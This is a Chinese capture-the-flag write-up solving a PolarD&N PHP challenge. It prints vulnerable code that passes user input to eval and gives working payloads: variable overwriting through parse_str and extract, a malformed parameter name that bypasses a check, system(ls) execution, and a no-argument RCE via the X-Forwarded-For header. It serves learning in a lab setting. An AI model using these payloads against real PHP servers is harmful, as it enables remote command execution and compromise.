PHP是世界上最好的语言-PolarD&N XXF无参数RCE QUERY_STRING 特性
2023-12-17 11:36:46
这个靶场我之前看到过打广告,而且感觉比较新 来坐坐
<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c=$_POST['sys'];
$key1 = 0;
$key2 = 0;
if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($flag1 == '8gen1' && $flag2 == '8gen1') {
if(isset($_POST['504_SYS.COM'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){
eval("$c");
}
}
}
?>
这里还是
@parse_str($_SERVER['QUERY_STRING']);
这里存在特性
?_POST[flag]=11111
通过extract($_POST);
会变为
$flag = 11111
所以第一个flag我们直接绕过了
GET 传递?_POST[flag1]=8gen1&_POST[flag2]=8gen1
然后需要绕过
if(isset($_POST['504_SYS.COM'])){
通过 _ 就可以思考到非法参数了
504[SYS.COM=1
然后我们就可以执行命令了
sys=system(ls);
payload
?_POST[flag1]=8gen1&_POST[flag2]=8gen1
504[SYS.COM=1&sys=system(ls);
但是我们无法直接获取到flag 所以需要无参数rce 因为过滤了 引号
无参数RCE绕过的详细总结(六种方法)_ctf rce绕过-CSDN博客
这里的方法都可以使用
这里使用一个XXF执行命令的
首先我们逆向打印请求头
504[SYS.COM=1&sys=print_r(array_reverse(getallheaders()));
?然后我们通过 pos 和eval 执行命令
pos 会输出当前数组的值 第一个是 xxf 就是ip 然后执行命令 我们将命令拼接即可
这里还需要XXF后面的内容注释掉 不然无法执行
文章来源:https://blog.csdn.net/m0_64180167/article/details/135041787
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!